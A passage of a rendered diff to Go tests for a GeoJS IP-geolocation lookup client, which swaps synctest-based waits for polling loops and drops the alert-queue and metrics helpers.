}
|
||||
|
||||
list = append(list, item)
|
||||
list = append(list, map[string]string{"ip": addr, "country": country})
|
||||
}
|
||||
|
||||
var answer any = list
|
||||
@@ -728,8 +422,7 @@ func (s *standIn) asked() [][]string {
|
||||
return slices.Clone(s.requests)
|
||||
}
|
||||
|
||||
// testClock is a clock the test sets. GeoJS tells the time by it, while
|
||||
// waits run on the bubble's clock.
|
||||
// testClock is a clock the test sets.
|
||||
type testClock struct {
|
||||
mu sync.Mutex
|
||||
now time.Time
|
||||
@@ -751,44 +444,23 @@ func (c *testClock) advance(d time.Duration) {
|
||||
c.now = c.now.Add(d)
|
||||
}
|
||||
|
||||
// start returns a stand-in for GeoJS that answers, a clock, and a GeoJS
|
||||
// asking the stand-in by that clock, for which a request waits for its
|
||||
// client's first answer.
|
||||
func start() (*standIn, *testClock, *lookup.GeoJS) {
|
||||
geojs, clock, g, _ := startWithAlerts()
|
||||
// start starts a stand-in for GeoJS that answers, and returns it, a
|
||||
// clock, and a GeoJS asking it by that clock.
|
||||
func start(t *testing.T) (*standIn, *testClock, *lookup.GeoJS) {
|
||||
t.Helper()
|
||||
|
||||
return geojs, clock, g
|
||||
}
|
||||
|
||||
// startWithAlerts is start, and returns the queue of the alerts GeoJS
|
||||
// raises as well, for a webhook that is never sent them, with the default
|
||||
// cooldown, by the same clock.
|
||||
func startWithAlerts() (*standIn, *testClock, *lookup.GeoJS, *alerts.Queue) {
|
||||
geojs := &standIn{}
|
||||
clock := newClock()
|
||||
queue := alerts.New(alerts.Params{
|
||||
WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"},
|
||||
Events: alerts.Events(),
|
||||
Cooldown: 15 * time.Minute,
|
||||
Now: clock.Now,
|
||||
})
|
||||
geojs.server = httptest.NewServer(geojs)
|
||||
t.Cleanup(geojs.server.Close)
|
||||
|
||||
clock := &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)}
|
||||
g := lookup.New(lookup.Params{
|
||||
URL: lookup.URL,
|
||||
Timeout: timeout,
|
||||
Wait: true,
|
||||
URL: geojs.server.URL,
|
||||
Now: clock.Now,
|
||||
ProcessLog: slog.New(slog.DiscardHandler),
|
||||
Metrics: metrics.New(1, "app"),
|
||||
Alerts: queue,
|
||||
})
|
||||
g.SetTransport(geojs)
|
||||
|
||||
return geojs, clock, g, queue
|
||||
}
|
||||
|
||||
// newClock returns a clock set to the start of a day.
|
||||
func newClock() *testClock {
|
||||
return &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)}
|
||||
return geojs, clock, g
|
||||
}
|
||||
|
||||
// newClients returns what returns a new IPv4 client each time it is
|
||||
@@ -807,7 +479,7 @@ func newClients() func() netip.Prefix {
|
||||
func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
|
||||
t.Helper()
|
||||
|
||||
got := g.LookUp(t.Context(), client).Country
|
||||
got := g.Country(t.Context(), client)
|
||||
if got != want {
|
||||
t.Errorf("%s is in %q, want %q", client, got, want)
|
||||
}
|
||||
@@ -841,55 +513,41 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
|
||||
}
|
||||
}
|
||||
|
||||
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
|
||||
// gone without an answer from GeoJS.
|
||||
func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
|
||||
t.Helper()
|
||||
|
||||
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
|
||||
if got != want {
|
||||
t.Errorf("%v requests went without an answer, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// wantFailures checks how many requests to GeoJS m counts as failed.
|
||||
func wantFailures(t *testing.T, m *metrics.Metrics, want float64) {
|
||||
t.Helper()
|
||||
|
||||
got := testutil.ToFloat64(m.GeoJSFailures)
|
||||
if got != want {
|
||||
t.Errorf("%v requests to GeoJS failed, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
// waitForRequests waits until g has done all it can before time passes,
|
||||
// checks that GeoJS has had count requests, and returns the addresses each
|
||||
// asked about.
|
||||
// waitForRequests waits for GeoJS to have had count requests, and returns
|
||||
// the addresses each asked about.
|
||||
func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
|
||||
t.Helper()
|
||||
|
||||
synctest.Wait()
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
for time.Now().Before(deadline) {
|
||||
asked := geojs.asked()
|
||||
if len(asked) >= count {
|
||||
return asked
|
||||
}
|
||||
|
||||
asked := geojs.asked()
|
||||
if len(asked) != count {
|
||||
t.Fatalf("GeoJS had %d requests, want %d", len(asked), count)
|
||||
time.Sleep(pollInterval)
|
||||
}
|
||||
|
||||
return asked
|
||||
t.Fatalf("fewer than %d requests to GeoJS after %s", count, waitLimit)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// waitForCountry lets a request to GeoJS under way be abandoned, and moves
|
||||
// the clock on a minute, so that GeoJS may be asked again after a failure.
|
||||
// It then checks that client's next request does not wait but has it asked
|
||||
// about again in the background, after which g gives it the country want.
|
||||
// waitForCountry waits for g to give client the country want, moving the
|
||||
// clock on a minute at a time, so that GeoJS is asked again after a
|
||||
// failure.
|
||||
func waitForCountry(
|
||||
t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
time.Sleep(timeout)
|
||||
clock.advance(time.Minute)
|
||||
wantCountry(t, g, client, "")
|
||||
synctest.Wait()
|
||||
wantCountry(t, g, client, want)
|
||||
deadline := time.Now().Add(waitLimit)
|
||||
for g.Country(t.Context(), client) != want {
|
||||
if time.Now().After(deadline) {
|
||||
t.Fatalf("%s is not in %q after %s", client, want, waitLimit)
|
||||
}
|
||||
|
||||
clock.advance(time.Minute)
|
||||
time.Sleep(pollInterval)
|
||||
}
|
||||
}
|
||||
Loaded 100 of 172 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user